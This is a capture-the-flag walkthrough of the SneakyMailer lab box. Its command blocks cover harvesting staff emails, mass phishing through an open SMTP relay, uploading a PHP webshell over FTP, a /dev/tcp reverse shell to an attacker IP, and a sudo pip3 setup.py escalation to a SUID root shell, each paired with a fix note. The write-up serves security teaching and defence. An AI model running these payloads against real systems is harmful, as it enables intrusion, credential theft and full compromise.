SneakyMailer
Summary
I mapped the target's web presence and uncovered a publicly accessible staff directory that enumerated every employee's internal email address. A bulk phishing email containing my own HTTP callback link was relayed through the target's open SMTP server to each harvested address; Paul Byrd's mail client followed the link and transmitted his IMAP credentials in plaintext. Those credentials unlocked his mailbox, where a colleague's internal message disclosed a second credential set — FTP access for the 'developer' service account.
Because that FTP account had direct write access to the web root of the developer sub-site and PHP was enabled site-wide, a one-line PHP webshell was uploaded and served immediately as the web-process user www-data. The same FTP password was accepted by SSH, providing an interactive developer shell; a sudoers entry granting unrestricted pip3 install as root was then abused by installing a locally crafted Python package whose setup.py executed as root and produced a SUID bash binary — yielding full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
echo "$TARGET sneakycorp.htb sneakymailer.htb dev.sneakycorp.htb" | sudo tee -a /etc/hostscurl -s -H 'Host: sneakycorp.htb' http://$TARGET/team.php | grep -ioE '[[:alnum:]._%+-]+@[[:alnum:].-]+\.htb' | sort -u | tee emails.txtFixRemove internal email addresses from the public staff directoryMedium
Exact commands 3
python3 -m http.server 80 2>&1 | tee listener.logwhile IFS= read -r email; do swaks --to "$email" --from "it@sneakycorp.htb" --server $TARGET --port 25 --body "http://$ATTACKER_IP/" --header "Subject: Important Update" 2>&1; done < emails.txtecho '<BASE64_FROM_LISTENER>' | base64 -dFixBlock unauthenticated SMTP relay from external sendersHigh
Exact commands 1
python3 - <<'PY'
import imaplib, email
M = imaplib.IMAP4("$TARGET", 143)
M.login('paulbyrd', "$PASSWORD")
print(M.list())
for folder in ['INBOX', 'INBOX.Sent', 'INBOX.Trash']:
M.select(folder)
_, data = M.search(None, 'ALL')
for num in data[0].split():
_, msg = M.fetch(num, '(RFC822)')
parsed = email.message_from_bytes(msg[0][1])
print('FOLDER:', folder, '| FROM:', parsed['From'])
print(parsed.get_payload(decode=True))
M.logout()
PYFixNever transmit credentials in email; enforce encryption on IMAPHigh
Exact commands 1
python3 - <<'PY'
from ftplib import FTP
from io import BytesIO
ftp = FTP("$TARGET", timeout=20)
print(ftp.login('developer', "$PASSWORD2"))
ftp.cwd('dev')
print(ftp.storbinary('STOR a.php', BytesIO(b'<?php system($_REQUEST["cmd"]); ?>\n')))
ftp.retrlines('LIST a.php')
ftp.quit()
PYFixRevoke FTP write access to web-served directories and disable PHP execution in upload pathsCritical
Exact commands 2
curl -s --max-time 10 --resolve dev.sneakycorp.htb:80:$TARGET 'http://dev.sneakycorp.htb/a.php?cmd=id;uname%20-a'curl -s --resolve dev.sneakycorp.htb:80:$TARGET --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' 'http://dev.sneakycorp.htb/a.php'Exact commands 2
ssh developer@$TARGETcat ~/user.txtFixAssign unique passwords per service and disable password-based SSH authenticationHigh
Exact commands 5
sudo -lmkdir -p /tmp/pkg && cat > /tmp/pkg/setup.py <<'EOF'
import os
from setuptools import setup
os.system('cp /bin/bash /tmp/bash && chmod +s /tmp/bash')
setup(name='pwn', version='1.0')
EOFsudo /usr/bin/pip3 install /tmp/pkg//tmp/bash -pcat /root/root.txtFixRemove the unrestricted sudo pip3 privilege from the developer accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp recon-sweep-discovered |
| 22/tcp | ssh recon-sweep-discovered |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http nginx 1.14.2 |
| 143/tcp | imap Courier Imapd (released 2018) |
| 993/tcp | ssl/imap Courier Imapd (released 2018) |
| 8080/tcp | http nginx 1.14.2 |